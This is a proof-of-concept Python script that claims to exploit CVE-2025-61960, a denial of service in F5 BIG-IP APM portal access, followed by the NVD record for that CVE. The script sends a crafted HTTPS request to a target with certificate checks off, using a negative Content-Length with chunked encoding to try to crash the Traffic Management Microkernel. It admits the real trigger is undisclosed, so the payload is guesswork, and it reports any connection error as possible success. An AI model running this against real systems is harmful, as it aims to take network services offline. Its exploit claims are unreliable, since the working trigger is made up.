CVE-2025-61960

# CVE-2025-61960 PoC - F5 BIG-IP APM Portal Access DoS # Vulnerability: TMM termination via per-request policy on portal access virtual server # Note: This is a conceptual PoC based on vulnerability description import requests import socket import ssl import struct TARGET_HOST = "target_bigip_host" TARGET_PORT = 443 # HTTPS port for APM portal access def craft_malicious_request(): """ Craft a malicious HTTP request that triggers TMM termination when per-request policy is configured on BIG-IP APM portal access VS. The specific triggering payload is undisclosed by F5. """ # Build a malformed/specially crafted HTTP request # targeting the APM portal access endpoint payload = ( "GET /my.policy HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" "User-Agent: Mozilla/5.0\r\n" "Accept: */*\r\n" "Connection: keep-alive\r\n" # Crafted headers to trigger per-request policy processing edge case "X-Forwarded-For: 127.0.0.1\r\n" "Content-Length: -1\r\n" # Invalid content length to trigger edge case "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" ) return payload.encode() def exploit(): """ Send crafted traffic to BIG-IP APM portal access virtual server to trigger TMM termination. """ try: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=TARGET_HOST) as ssock: payload = craft_malicious_request() ssock.send(payload) response = ssock.recv(4096) print(f"Response received: {response[:100]}") print("TMM may have terminated - check target availability") except Exception as e: print(f"Connection error (possible DoS success): {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-61960", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:57.353", "lastModified": "2025-10-21T21:05:37.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a per-request policy is configured on a BIG-IP APM portal access virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "6494E2A7-1473-46C0-97F8-90827D9466AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "96D35435-27A7-4A88-9432-1F5AB0112B8C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.5.0", "versionEndExcluding": "17.5.1.3", "matchCriteriaId": "252ED1A4-5F29-4440-B1BA-9621E6791812"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156597", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}